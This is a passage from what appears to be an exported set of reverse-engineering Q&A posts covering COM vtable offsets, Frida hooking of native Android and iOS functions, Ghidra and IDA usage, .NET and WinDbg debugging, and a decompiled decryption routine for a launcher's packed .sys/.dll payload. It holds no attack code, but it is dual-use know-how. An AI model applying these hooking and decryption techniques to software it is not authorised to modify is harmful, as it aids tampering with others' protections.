?get_SpecialFolders@CWshShell@@UAGJPAPAUIWshCollection@@@Z ; CWshShell::get_SpecialFolders(IWshCollection * *)\n.text:7B471090                 dd offset ?get_Environment@CWshShell@@UAGJPAUtagVARIANT@@PAPAUIWshEnvironment@@@Z ; CWshShell::get_Environment(tagVARIANT *,IWshEnvironment * *)\n.text:7B471094                 dd offset ?Run@CWshShell@@UAGJPAGPAUtagVARIANT@@1PAH@Z ; CWshShell::Run(ushort *,tagVARIANT *,tagVARIANT *,int *)\n.text:7B471098                 dd offset ?Popup@CWshShell@@UAGJPAGPAUtagVARIANT@@11PAH@Z ; CWshShell::Popup(ushort *,tagVARIANT *,tagVARIANT *,tagVARIANT *,int *)\n.text:7B47109C                 dd offset ?CreateShortcut@CWshShell@@UAGJPAGPAPAUIDispatch@@@Z ; CWshShell::CreateShortcut(ushort *,IDispatch * *)\n.text:7B4710A0                 dd offset ?ExpandEnvironmentStringsA@CWshShell@@UAGJPAGPAPAG@Z ; CWshShell::ExpandEnvironmentStringsA(ushort *,ushort * *)\n.text:7B4710A4                 dd offset ?RegRead@CWshShell@@UAGJPAGPAUtagVARIANT@@@Z ; CWshShell::RegRead(ushort *,tagVARIANT *)\n.text:7B4710A8                 dd offset ?RegWrite@CWshShell@@UAGJPAGPAUtagVARIANT@@1@Z ; CWshShell::RegWrite(ushort *,tagVARIANT *,tagVARIANT *)\n.text:7B4710AC                 dd offset ?RegDelete@CWshShell@@UAGJPAG@Z ; CWshShell::RegDelete(ushort *)\n.text:7B4710B0                 dd offset ?LogEvent@CWshShell@@UAGJPAUtagVARIANT@@PAG1PAF@Z ; CWshShell::LogEvent(tagVARIANT *,ushort *,ushort *,short *)\n.text:7B4710B4                 dd offset ?AppActivate@CWshShell@@UAGJPAUtagVARIANT@@0PAF@Z ; CWshShell::AppActivate(tagVARIANT *,tagVARIANT *,short *)\n.text:7B4710B8                 dd offset ?SendKeys@CWshShell@@UAGJPAGPAUtagVARIANT@@@Z ; CWshShell::SendKeys(ushort *,tagVARIANT *)\n.text:7B4710BC                 dd offset ?Exec@CWshShell@@UAGJPAGPAPAUIWshExec@@@Z ; CWshShell::Exec(ushort *,IWshExec * *)\n.text:7B4710C0                 dd offset ?get_CurrentDirectory@CWshShell@@UAGJPAPAG@Z ; CWshShell::get_CurrentDirectory(ushort * *)\n.text:7B4710C4                 dd offset ?put_CurrentDirectory@CWshShell@@UAGJPAG@Z ; CWshShell::put_CurrentDirectory(ushort *)\n</code></pre>\n<p>In this case offset at 7B4710BC points to the method I'm looking into. However I'm trying to more generally resolve this when there are no symbols available.</p>\n<p>Analyzing the following with WinDbg:</p>\n<pre><code>&quot;C:\\WINDOWS\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe&quot; -Command &quot;$obj = New-Object -ComObject WScript.Shell;$obj.Exec('notepad')&quot;\n</code></pre>\n<p>Found that <strong>C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll</strong> has a method <code>System.Management.Automation.ComInterop.ComTypeDesc.TryGetFunc(System.String, System.Management.Automation.ComInterop.ComMethodDesc ByRef)</code></p>\n<p>Which is taking &quot;Exec&quot; as the first parameter, and seems to internally use a hash table to find the method, but couldn't see how the hash table is initially populated.</p>\n<p>Eventually the function is called via Oleaut32!DispCallFunc which seems to have a function definition like:</p>\n<pre><code>HRESULT __stdcall DispCallFunc(\n        void *pvInstance,\n        ULONG_PTR oVft,\n        CALLCONV cc,\n        VARTYPE vtReturn,\n        UINT cActuals,\n        VARTYPE *prgvt,\n        VARIANTARG **prgpvarg,\n        VARIANT *pvargResult)\n</code></pre>\n<p>In this case pvInstance is pointing to the vfTable in the COM object, and oVft is the offset for the specific target method.</p>\n<p>Essentially I am trying to work out how do I calculate the vftable offset for &quot;WScript.Shell&quot; (with the module name already known)(, and oVft offset for method i.e. &quot;Exec&quot;, even without symbols for a COM method.</p>\n",
        "Title": "Programmatically Find COM Object Method Offset in Image from Method Name",
        "Tags": "|windows|com|",
        "Answer": "<p>In your example, the Exec method is actually implemented in IWshShell3 as can be seen in the typelib:</p>\n<pre><code>[Guid(&quot;41904400-be18-11d3-a28b-00104bd35090&quot;)]\ninterface IWshShell3\n{\n   /* Methods */\n   int Run(string Command, [Optional] Object&amp; WindowStyle, [Optional] Object&amp; WaitOnReturn);\n   int Popup(string Text, [Optional] Object&amp; SecondsToWait, [Optional] Object&amp; Title, [Optional] Object&amp; Type);\n   object CreateShortcut(string PathLink);\n   string ExpandEnvironmentStrings(string Src);\n   object RegRead(string Name);\n   void RegWrite(string Name, Object&amp; Value, [Optional] Object&amp; Type);\n   void RegDelete(string Name);\n   bool LogEvent(Object&amp; Type, string Message, [Optional] string Target);\n   bool AppActivate(Object&amp; App, [Optional] Object&amp; Wait);\n   void SendKeys(string Keys, [Optional] Object&amp; Wait);\n   WshExec Exec(string Command);\n   /* Properties */\n   IWshCollection SpecialFolders { get; }\n   IWshEnvironment Environment([Optional] Object&amp; Type) { get; }\n   string CurrentDirectory { get; set; }\n}\n</code></pre>\n<p>With the following quick test code I was able to get an offset for the methods:</p>\n<pre><code>procedure Main;\nconst\n  Filename: String = 'C:\\Windows\\SysWOW64\\wshom.ocx';\n  MethodName: PChar = 'Exec';\n  CLSID_WshShell3: TGuid = '{41904400-BE18-11D3-A28B-00104BD35090}';\nvar\n  tlib: ITypeLib;\n  hr: HRESULT;\n  i: Integer;\n  tinfo: ITypeInfo;\n  typeattrib: PTypeAttr;\n  j: Integer;\n  FuncDesc: PFuncDesc;\n  Name: WideString;\n  OffSet: DWORD;\nbegin\n  CoInitialize(nil);\n\n  OleCheck(LoadTypeLibEx(PChar(Filename), REGKIND_NONE, tlib));\n\n  for i := 0 to tlib.GetTypeInfoCount-1 do\n  begin\n    hr := tlib.GetTypeInfo(i, tinfo);\n    if Succeeded(hr) then\n    begin\n      hr := tinfo.GetTypeAttr(typeattrib);\n      if Succeeded(hr) then\n      begin\n        if IsEqualGuid(CLSID_WshShell3, typeattrib.guid) then\n        begin\n          WriteLn('Found IWshShell3');\n          for j := 0 to typeattrib.cFuncs-1 do\n          begin\n            hr := tinfo.GetFuncDesc(j, FuncDesc);\n            if Succeeded(hr) then\n            begin\n              hr := tinfo.GetDocumentation(FuncDesc.memid, @Name, nil, nil, nil);\n              if Succeeded(hr) then\n              begin\n               OffSet := j * SizeOf(Pointer);\n               WriteLn(Format('Found Method %s at Offset: %d', [Name, Offset]));\n                end;\n\n                tinfo.ReleaseFuncDesc(FuncDesc);\n              end;\n\n            end;\n          end;\n\n        tinfo.ReleaseTypeAttr(typeattrib);\n      end;\n    end;\n  end;\n\nend;\n</code></pre>\n<p>Output:</p>\n<pre><code>Found IWshShell3\nFound Method QueryInterface at Offset: 0\nFound Method AddRef at Offset: 4\nFound Method Release at Offset: 8\nFound Method GetTypeInfoCount at Offset: 12\nFound Method GetTypeInfo at Offset: 16\nFound Method GetIDsOfNames at Offset: 20\nFound Method Invoke at Offset: 24\nFound Method SpecialFolders at Offset: 28\nFound Method Environment at Offset: 32\nFound Method Run at Offset: 36\nFound Method Popup at Offset: 40\nFound Method CreateShortcut at Offset: 44\nFound Method ExpandEnvironmentStrings at Offset: 48\nFound Method RegRead at Offset: 52\nFound Method RegWrite at Offset: 56\nFound Method RegDelete at Offset: 60\nFound Method LogEvent at Offset: 64\nFound Method AppActivate at Offset: 68\nFound Method SendKeys at Offset: 72\nFound Method Exec at Offset: 76\nFound Method CurrentDirectory at Offset: 80\nFound Method CurrentDirectory at Offset: 84\n</code></pre>\n<p>Probably need to do more checking but hopefully this gives you a start and of course, a typelib is needed. The Offset is the offset from the Interface pointer.</p>\n"
    },
    {
        "Id": "30839",
        "CreationDate": "2022-08-31T00:48:48.897",
        "Body": "<p>I am reverse engineering a android app shared library (.so file) and I am trying to use frida to hook a non exported native function\nI am using this hook</p>\n<pre><code>const ghidraImageBase = 0x00100000; \nconst moduleName = &quot;libclient.so&quot;;\nconst moduleBaseAddress = Module.findBaseAddress(moduleName);\nconst ghidraFunction = 0x0168a7c8;\nconst functionRealAddress = moduleBaseAddress.add(ghidraFunction - ghidraImageBase);\n\nInterceptor.attach(functionRealAddress, {\n    onEnter: function(args) {\n\n        console.log(&quot;function called&quot;);\n\n    },\n    onLeave: function(ignored) {}\n});\n</code></pre>\n<p>However function called is never logged even though the function is getting called\nI am pretty sure something is wrong with the addresses so I tried hooking into a exported function using the address I got from ghidra</p>\n<p><a href=\"https://i.stack.imgur.com/BlAiq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BlAiq.png\" alt=\"![pic\" /></a></p>\n<p>which is <code>0x014ccd08</code> and ghidra image base is equal to <code>0x00100000</code> meaning the offset of the function should be <code>0x014ccd08</code> - <code>0x00100000</code> = <code>0x013ccd08</code>\nhowever when I run</p>\n<pre><code>console.log(&quot;moduleBaseAddress:&quot; + Module.findBaseAddress(&quot;libclient.so&quot;))\n\n\nModule.enumerateExports(&quot;libclient.so&quot;, {\n    onMatch: function(e) {\n        if (e.type == 'function') {\n            if (e.name == &quot;Java_exported_function etc...&quot;) {\n                console.log(&quot;Function found&quot;);\n                console.log(JSON.stringify(e))\n            }\n        }\n    },\n    onComplete: function() {}\n});\n</code></pre>\n<p>the above code execution result is</p>\n<pre><code>moduleBaseAddress:0xb6900000\nFunction recognized by name\n{&quot;type&quot;:&quot;function&quot;,&quot;name&quot;:&quot;Java_exported_function...&quot;,&quot;address&quot;:&quot;0xb755b9e1&quot;}\n</code></pre>\n<p>the .so library is loaded at <code>0xb6900000</code> and the function address is at <code>0xb755b9e1</code> meaning the function offset is <code>0xb755b9e1</code> - <code>0xb6900000</code> = <code>0x00c5b9e1</code>\nentirely different from the <code>0x013ccd08</code> I found earlier.</p>\n<ol>\n<li>Can this issue be from the ghidra settings?</li>\n<li>How can I get the correct offset from ghidra?</li>\n</ol>\n",
        "Title": "ghidra returning wrong function address",
        "Tags": "|android|ghidra|memory|frida|",
        "Answer": "<p>turns out i decompiled the wrong library the emulator i was running is 32bit where as the library i decompiled in ghidra is 64bit decompiling the 32bit lib i get the correct offsests same as expected ones</p>\n"
    },
    {
        "Id": "30847",
        "CreationDate": "2022-09-01T22:39:21.930",
        "Body": "<p>I am currently working on java byte code in GHIDRA and I was just wondering if there was a way to show the instruction descriptions like there is in IDA and x64dbg.</p>\n<p>For e.g</p>\n<p>bipush - Push byte</p>\n",
        "Title": "Is there a way to show/enable mnemonic description in Ghidra?",
        "Tags": "|ghidra|",
        "Answer": "<p>The closest thing Ghidra has (to my knowledge) to what you want is the &quot;Processor Manual&quot; feature. You can download the <a href=\"https://docs.oracle.com/javase/specs/jvms/se8/jvms8.pdf\" rel=\"nofollow noreferrer\">JVM spec for version 8</a> and place it in <code>\\ghidra_XX.X.X_PUBLIC\\Ghidra\\Processors\\JVM\\data\\manuals</code>. The JVM.idx file describes where in the processor manual to look for the specific instruction you're asking about. If you right-clicked on a <code>bipush</code> instruction and clicked &quot;Processor manual&quot; it would then pull up your jvms8.pdf file and flip to page 396 where it talks about the <code>bipush</code> instruction.</p>\n<p>I'm not sure if you can add it to the end of the line. The per-instruction view in Ghidra can be customized when you click on the button at the top of the Listing window (it should say &quot;Edit the Listing fields&quot;) - that will allow you, for instance, to rearrange the order the address/instruction/bytes appear. By editing the listing, you for instance can turn on the Pcode viewer that lets you see the intermediate language.</p>\n<p>If you were going to turn on instruction descriptions, that is the place you would do it. However, I don't see an option to do it.</p>\n"
    },
    {
        "Id": "30856",
        "CreationDate": "2022-09-06T12:53:15.220",
        "Body": "<p>I've used the IDA 8.0 Demo to retrieve (from a .DLL) the assembly code, such as:</p>\n<pre><code>; code\npxor    xmm0, xmm0\nucomiss xmm0, xmm1\nja      short loc_67F31600                          \nmovss   xmm2, cs:dword_6854E3C0\ncomiss  xmm1, xmm2\njbe     short loc_67F31630\nmovups  xmm1, xmm2\njmp     short loc_67F3160B\n\n; subroutines\nloc_67F31600:\n    movups  xmm1, xmm0\n    movss   xmm0, cs:dword_6854E3C0\n\nloc_67F31630:\n    movups  xmm3, xmm1\n    movups  xmm0, xmm1\n    movss   xmm4, cs:dword_6854E43C\n    addss   xmm3, xmm1\n    subss   xmm0, xmm2\n    mulss   xmm1, xmm4\n    movups  xmm5, xmm3\n    addss   xmm2, xmm3\n    mulss   xmm0, xmm4\n    subss   xmm5, xmm4\n    divss   xmm1, xmm2\n    divss   xmm0, xmm5\n    jmp     short loc_67F3160B\n\nloc_67F3160B:\n    movss   dword ptr [rcx+102F0h], xmm0\n    movss   dword ptr [rcx+102ECh], xmm1\n    movss   dword ptr [rcx+160h], xmm0\n    movss   dword ptr [rcx+1D4h], xmm1\n    retn\n</code></pre>\n<p>Is there a way (with the same tool) to retrieve a more readable source code from it? Should I need IDA Pro? Can you show me the steps to do it? (so I can evaluate a purchase).</p>\n<p>Or which kind of other tools can you suggests to do the same?\nI mean: at least get C++ standard operations, with the real values placed on arrays and stuff (if possible, of course).</p>\n",
        "Title": "Can I get a valid source code from this assembly?",
        "Tags": "|ida|disassembly|decompilation|c++|tools|",
        "Answer": "<p>For IDA Pro there are decompiler plugins available that can generate a code similar to C (if everything goes well). But IDA Pro + decompiler for the architecture you need is pretty expensive (1975 USD + 2765 USD).</p>\n<p>A cheaper way to get decompiled code would be <a href=\"https://ghidra-sre.org\" rel=\"nofollow noreferrer\">Ghidra</a>, it includes a decompiler.</p>\n<p>In both cases the generated code can be good or bad or even wrong. That depends on the code to be decompiled.</p>\n<p>If you already have IDA Pro you can can also try to integrate Ghidra decompiler into IDA using the open source IDA plugin <a href=\"https://github.com/Cisco-Talos/GhIDA\" rel=\"nofollow noreferrer\">GhIDA</a>.</p>\n"
    },
    {
        "Id": "30877",
        "CreationDate": "2022-09-14T03:06:03.520",
        "Body": "<p>We have an EXE that IDA pro lists the following segments:</p>\n<pre><code>Name    Start   End R   W   X   D   L   Align   Base    Type    Class   AD  es  ss  ds  fs  gs\ncseg01  00000000    0000EA50    ?   ?   ?   .   L   para    0000    public  CODE    16  FFFFFFFF    FFFFFFFF    5BD5    FFFFFFFF    FFFFFFFF\ncseg02  00000000    0000E020    ?   ?   ?   .   L   para    0EA5    public  CODE    16  FFFFFFFF    FFFFFFFF    5BD5    FFFFFFFF    FFFFFFFF\ncseg03  00000000    0000AE20    ?   ?   ?   .   L   para    1CA7    public  CODE    16  FFFFFFFF    FFFFFFFF    5BD5    FFFFFFFF    FFFFFFFF\ncseg04  00000000    0000EFD0    ?   ?   ?   .   L   para    2789    public  CODE    16  FFFFFFFF    FFFFFFFF    5BD5    FFFFFFFF    FFFFFFFF\ncseg05  00000000    0000EFB0    ?   ?   ?   .   L   para    3686    public  CODE    16  FFFFFFFF    FFFFFFFF    5BD5    FFFFFFFF    FFFFFFFF\ncseg06  00000000    0000EFF0    ?   ?   ?   .   L   para    4581    public  CODE    16  FFFFFFFF    FFFFFFFF    5BD5    FFFFFFFF    FFFFFFFF\ncseg07  00000000    00007550    ?   ?   ?   .   L   para    5480    public  CODE    16  FFFFFFFF    FFFFFFFF    5BD5    FFFFFFFF    FFFFFFFF\ndseg08  00000000    0000A4D0    ?   ?   ?   .   L   para    5BD5    public  DATA    16  FFFFFFFF    FFFFFFFF    5BD5    FFFFFFFF    FFFFFFFF\nCOMMDLG 00000000    00000004    ?   ?   ?   .   L   para    6622    public      16  FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF\nPZOHDLL 00000000    00000011    ?   ?   ?   .   L   para    6623    public      16  FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF\nKERNEL  00000000    00000023    ?   ?   ?   .   L   para    6625    public      16  FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF\nGDI 00000000    0000003D    ?   ?   ?   .   L   para    6628    public      16  FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF\nUSER    00000000    0000006D    ?   ?   ?   .   L   para    662C    public      16  FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF\nWIN87EM 00000000    00000001    ?   ?   ?   .   L   para    6633    public      16  FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF\nCSD_LOGO    00000000    00000001    ?   ?   ?   .   L   para    6634    public      16  FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF\nX1WIN   00000000    00000003    ?   ?   ?   .   L   para    6635    public      16  FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF    FFFFFFFF\n</code></pre>\n<p>If I have stack traces/etc, return addresses, or data addresses in format : how can I match up the segment address to the segment name in IDA Pro.</p>\n<p>For example when this module loaded LoadModule returned HINSTANCE of 0x28A7. .\nI have two addresses I wanted to find in IDA:</p>\n<ol>\n<li>28df:69ca</li>\n<li>28e7:246c</li>\n</ol>\n<p>Now in this case I search IDA for the address i.e. 69ca and manually find the matching segment based on knowledge of what I expect to be executing at that point.</p>\n<p>However wonder what approach can be used to easily translate the segment address without needing to search i.e. 0x28df = cseg01 and 0x28e7 = cseg02.</p>\n<p>There is an option to rebase based on address of first segment, but that doesn't seem to change anything (or I'm not using it correctly) <a href=\"https://i.stack.imgur.com/61ZZX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/61ZZX.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "Finding Correct Segment From An Address For Windows 3.1 EXE in IDA Pro",
        "Tags": "|ida|windows|ne|",
        "Answer": "<p>Rebase does not help you in this case, because rebasing is meant to shift virtual addresses in flat mode or physical addresses of real-mode programs, but it does not apply to selectors of segmented protected mode programs. It is very likely that all segments of your programs get selectors spaced 8 apart, so if you got worked out that 28df is cseg01, the relation that 28e7 is cseg02 is expected. Likely the 2917 is the selector for the data segment. If you get a register dump along with the back trace, possibly you find DS=2917 to help you find the selector values of the code segments.</p>\n"
    },
    {
        "Id": "30879",
        "CreationDate": "2022-09-14T07:26:21.417",
        "Body": "<p>Hello to everyone in RE section!</p>\n<p>I have a binary file with questionable extension(meaning idk if its exe/dll).\nMultiple variations of this file can be acquired throught connection to remote CDN via program launcher and then saved to disk.</p>\n<p>At first glance (for my limited knowledge view atleast), it appears to be that they are encrypted is some way.</p>\n<p>The program itself unpacks atleast 2 files with .sys and .dll extensions from said file.\nAs I said before multiple variations of this file are nearly identical in supposed PE signature region.</p>\n<p>First 112 bytes nearly identical, and supposed extension signature always the same (first 3-4 bytes).</p>\n<p>First file:</p>\n<p><img src=\"https://i.stack.imgur.com/dOEEZ.png\" alt=\"FirstFile\" /></p>\n<p>Second file:</p>\n<p><img src=\"https://i.stack.imgur.com/zroY3.png\" alt=\"SecondFile\" /></p>\n<p>Also it appears to me that sequence of chars <code>cfilorux</code> repeats itself multiple times. Am I correct to assume that its XOR encryption?</p>\n",
        "Title": "Reversing encrypted file with unknown extension",
        "Tags": "|binary-analysis|encryption|",
        "Answer": "<p>Forgot to answer my own question after the hint by Rup.</p>\n<p>So essentially I found decryption function in .text section of program launcher with IDA.</p>\n<pre><code>{\n  unsigned int v2; // eax\n  if (imageSize &gt;= 2) {\n    image[imageSize - 1] += 3 - 3 * imageSize;\n    v2 = imageSize - 2;\n    if (imageSize != 2) {\n      do {\n        image[v2] += -3 * v2 - image[v2 + 1];\n        --v2;\n      }\n      while (v2);\n    }\n    *image -= image[1];\n  }\n}\n</code></pre>\n"
    },
    {
        "Id": "30880",
        "CreationDate": "2022-09-14T10:54:52.893",
        "Body": "<p>I have an iOS device on 14.2 and am using frida 15.2.2 on Ubuntu 18.04.</p>\n<p>If I launch an app via frida, in the repl I can get the base address of the module, add an offset to that address, and print the instruction at that new address.  Doing it like this I get the instruction I expect.  The commands I entered were:</p>\n<pre><code>var baseAddress = Process.enumerateModules()[0].base;\nvar instructionOffset = 0x100004ce8-0x100000000;\nvar targetAddress = baseAddress.add(instructionOffset);\nInstruction.parse(targetAddress).toString();\n</code></pre>\n<p>and the instruction I expect, based on ghidra, is <code>cbz        param_1,LAB_100004d08</code> which I get.</p>\n<p>However, if I try and do the same by loading a script when I launch the app:</p>\n<pre><code>var baseAddress = Process.enumerateModules()[0].base;\nvar instructionOffset = 0x100004ce8-0x100000000;\nvar targetAddress = baseAddress.add(instructionOffset);\n\nInterceptor.attach(targetAddress, {\n    onEnter: function(args) {\n        console.log(&quot;[+] Current instruction: &quot; + (Instruction.parse(targetAddress).toString()));\n    },\n});\n</code></pre>\n<p>it prints a different instruction.  I'm not sure if there is something I've misunderstood or it is expected to work differently doing this from a script?  Or if I need to take in to account the script being loaded in to memory?</p>\n",
        "Title": "Frida script returning different instruction at address compared to entering commands in repl",
        "Tags": "|disassembly|ios|frida|",
        "Answer": "<p>This was down to my misunderstanding.  I was wanting to either nop out an instruction or modify a register value. I had been trying to print the instruction to verify I was at the correct address but not considered that frida would obviously have to insert code to redirect execution flow, thank you @Robert.</p>\n<p>At the point of attaching the register value can still be read or modified and will be handled correctly.</p>\n<p>Alternatively, launching the app and loading a script but not attaching with interceptor let's me print the correct instruction at the offset via the script, e.g. just doing:</p>\n<pre><code>var baseAddress = Process.enumerateModules()[0].base;\nvar instructionOffset = 0x100004ce8-0x100000000;\nvar targetAddress = baseAddress.add(instructionOffset);\n\nconsole.log(Instruction.parse(targetAddress).toString());\n</code></pre>\n"
    },
    {
        "Id": "30883",
        "CreationDate": "2022-09-14T21:47:09.883",
        "Body": "<p>I'm debugging an obfuscated android application. I use Android Studio's debugger. I attach it remotely to my physical device via adb. I can set a breakpoint in the app smali code, but when I try to step into a function in an external library, the code browser stays at the caller's place (I expected it to show me the called function's disassebly smali output), but stack trace and the variables output follows the called function as expected. Why is that? Can't java debugger inform Android Studio about the instructions to which the code jumped even though they are in an external library?</p>\n<p>Also, I know the app calls some functions <code>com.android.conscrypt</code>. Can I set a breakpoint in an external library like this one? If Android Studio can't do that, what other tools can?</p>\n",
        "Title": "How to set a breakpoint in android's openssl library in running android application?",
        "Tags": "|android|java|dalvik|",
        "Answer": "<p>Do you mean JNI / native libraries?</p>\n<p>Android app cannot view into native libraries, but you can use frida-trace to get in between the call and return.</p>\n<pre><code>readelf -a -W library.so | grep nativeFunctionNameHere\n</code></pre>\n<p>Note the nativeFunctionName with some other words prepended to it</p>\n<pre><code>frida-trace -i &quot;_JNIStuffblabla_nativeFunctionNameHere&quot; -F\n</code></pre>\n<p>You will see when it's being called, and you can edit the .js file in the console output to customize/log the function calls\nHowever, to find out what the function does, you will need to use disassemblers/debuggers and try to figure it out.</p>\n<p>If you only need to inspect OpenSSL library, just intercept like <code>-i &quot;openssl_*&quot;</code> or something, see which function is it that you want, and then log the arguments and/or return value.</p>\n<p>If you meant <code>android.</code> libraries, you can again intercept them with frida. It's a really good tool for reverse engineering, especially for Android applications.\nBut why would you need to debug them? They're already publicly available, you should probably focus on the return value, no?</p>\n"
    },
    {
        "Id": "30885",
        "CreationDate": "2022-09-15T21:02:27.873",
        "Body": "<p>This is quite easy to do with a low-level debugger, like x64dbg (for instance). Say, if I have a running native process I can attach to it, set a breakpoint, and then step through native code with it.</p>\n<p>Is there a similar debugger but for .NET, that would allow me to do what I listed above?</p>\n",
        "Title": "How to attach and step through a running .NET process?",
        "Tags": "|debugging|.net|",
        "Answer": "<p>In Visual Studio (not Visual Studio Code), go to menu Debug -&gt; &quot;Attach to Process&quot;, pick up the process from the list. Now you can press &quot;pause&quot; / &quot;Break All&quot; in Visual Studio to suspend all process threads and start debugging them.</p>\n<p>This works regardless of if the process is written in C++ or .NET.</p>\n<p>Visual Studio will show the stack trace and even source code if available.\n(In .NET even if source code is not available if you have installed a plugin for Visual Studio like Redgate Reflector Pro or <a href=\"https://github.com/icsharpcode/ILSpy\" rel=\"nofollow noreferrer\">https://github.com/icsharpcode/ILSpy</a>).</p>\n<p>For debugging a service process, you have to wait until the execution enters your program, you cannot attach a debugger during the SCM execution. The simplest way to do this is to add an blind loop to your code and once attached, exit the loop with the debugger (by changing the value of the sentinel variable) like</p>\n<pre><code>   int i = 0;\n   while (i == 0) {\n     i++;\n     i--;\n   }\n</code></pre>\n<p>For dealing with issues like &quot;cannot see this variable value because it has been optimized away&quot; you can disable CLR optimizations, I have used this switch (AllowOptimize), see stackoverflow.com/a/279593/1001395 (in a .ini file of the same name like the assembly you are debugging, ie System.Data.dll.ini) &lt;= this works in .NET classic.</p>\n<pre><code>[.NET Framework Debugging Control]\nGenerateTrackingInfo=1\nAllowOptimize=0\n</code></pre>\n"
    },
    {
        "Id": "30897",
        "CreationDate": "2022-09-19T18:55:35.983",
        "Body": "<p>I am trying to find out which struct <code>storport!RaGetUnitStorageDeviceProperty</code> uses by myself. I know I can use google and find out the correct answer is <code>_RAID_UNIT_EXTENSION</code>. However i want to do it myself on my own manually and learn the logic behind it.</p>\n<p>Things so far I tried include setting a breakpoint on the function and then using the <code>dt</code> command which shows the function name as result. I also used IDA to see if I can get any trace of struct but I could not find any trace of <code>_RAID_UNIT_EXTENSION</code> with IDA even though I used storport.pdb as well. How can I find it myself manually? I can clearly see <code>_RAID_UNIT_EXTENSION</code>using <code>dt storport!*</code> in the output but there is not any trace of such a name in IDA.\nI would really appreciate it if someone could help me.</p>\n",
        "Title": "Find out which struct RaGetUnitStorageDeviceProperty use by reverse engineering",
        "Tags": "|windows|debugging|windbg|kernel-mode|driver|",
        "Answer": "<p>unless you have a private pdb for storport you wouldn't be able to locate the names\nand even if you have the private pdb it is mostly a guessing game</p>\n<p>i will show a demo using windbg adapt it to the tools of your choice</p>\n<p>1)locating function of interest</p>\n<pre><code>0: kd&gt; x /v /t /f storport!RaGetUnitStorageDeviceProperty\nprv func   fffff801`36f12664  268 &lt;CLR type&gt; storport!RaGetUnitStorageDeviceProperty (void)\n</code></pre>\n<p>since the argument list is void either this functions takes no arguments or the details are missing and is not easily locatable without putting in effort</p>\n<p>since this is an x64 the first four arguments are passed via rcx,rdx,r8,r9 in windows\nlets check if any of them are used inside the function.</p>\n<p>if they are going to be accessed they would be saved or used very early in the function dissassemble first 15 lines of the functions</p>\n<pre><code>0: kd&gt; u storport!RaGetUnitStorageDeviceProperty l15\nstorport!RaGetUnitStorageDeviceProperty:\nfffff801`36f12664 4055            push    rbp\nfffff801`36f12666 53              push    rbx\nfffff801`36f12667 56              push    rsi\nfffff801`36f12668 57              push    rdi\nfffff801`36f12669 4154            push    r12\nfffff801`36f1266b 4156            push    r14\nfffff801`36f1266d 4157            push    r15\nfffff801`36f1266f 488dac2440ffffff lea     rbp,[rsp-0C0h]\nfffff801`36f12677 4881ecc0010000  sub     rsp,1C0h\nfffff801`36f1267e 488b056b6cffff  mov     rax,qword ptr [storport!_security_cookie (fffff801`36f092f0)]\nfffff801`36f12685 4833c4          xor     rax,rsp\nfffff801`36f12688 488985b0000000  mov     qword ptr [rbp+0B0h],rax\nfffff801`36f1268f 488b7968        mov     rdi,qword ptr [rcx+68h]\nfffff801`36f12693 4d8bf0          mov     r14,r8 &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\nfffff801`36f12696 4c8bfa          mov     r15,rdx &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\nfffff801`36f12699 488bd9          mov     rbx,rcx &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\nfffff801`36f1269c 41bc8c010000    mov     r12d,18Ch\nfffff801`36f126a2 488d4c2420      lea     rcx,[rsp+20h]\nfffff801`36f126a7 458bc4          mov     r8d,r12d\nfffff801`36f126aa 33d2            xor     edx,edx\nfffff801`36f126ac e88fd2faff      call    storport!memset (fffff801`36ebf940)\n</code></pre>\n<p>as you can notice three arguments are saved the first argument rcx is saved to rbx\nthe second argument rdx is saved to r15  the third argument r8 is saved to r14</p>\n<p>disassemble the full function and grep for r9 just in case</p>\n<pre><code>0: kd&gt; .shell -ci &quot;uf storport!RaGetUnitStorageDeviceProperty&quot; findstr &quot;r9&quot;\n.shell: Process exited\n</code></pre>\n<p>no sign of r9 so this function possibly takes 3 arguments</p>\n<p>lets concentrate on rbx which holds the first argument</p>\n<pre><code>0: kd&gt; .shell -ci &quot;uf storport!RaGetUnitStorageDeviceProperty&quot; findstr &quot;rbx&quot;\nfffff801`36f12666 53              push    rbx\nfffff801`36f12699 488bd9          mov     rbx,rcx\nfffff801`36f126f3 8b83d00c0000    mov     eax,dword ptr [rbx+0CD0h] &lt;&lt;&lt;&lt;&lt;&lt;&lt;\nfffff801`36f126fd 488b8398000000  mov     rax,qword ptr [rbx+98h]\nfffff801`36f1270d 488b9390000000  mov     rdx,qword ptr [rbx+90h]\nfffff801`36f1274c 6644396372      cmp     word ptr [rbx+72h],r12w\nfffff801`36f12773 0fb74370        movzx   eax,word ptr [rbx+70h]\nfffff801`36f12777 488b5378        mov     rdx,qword ptr [rbx+78h]\nfffff801`36f127c4 5b              pop     rbx\nfffff801`36f12819 6644396372      cmp     word ptr [rbx+72h],r12w\nfffff801`36f1282e 488b4318        mov     rax,qword ptr [rbx+18h]\nfffff801`36f12879 6644396372      cmp     word ptr [rbx+72h],r12w\nfffff801`36f12880 0fb77b70        movzx   edi,word ptr [rbx+70h]\nfffff801`36f12898 488b5378        mov     rdx,qword ptr [rbx+78h]\n.shell: Process exited\n</code></pre>\n<p>this clearly shows rbx is used and is possibly a structure and is possibly a very large structure as a member at offset 0xcd0  is accessed  so 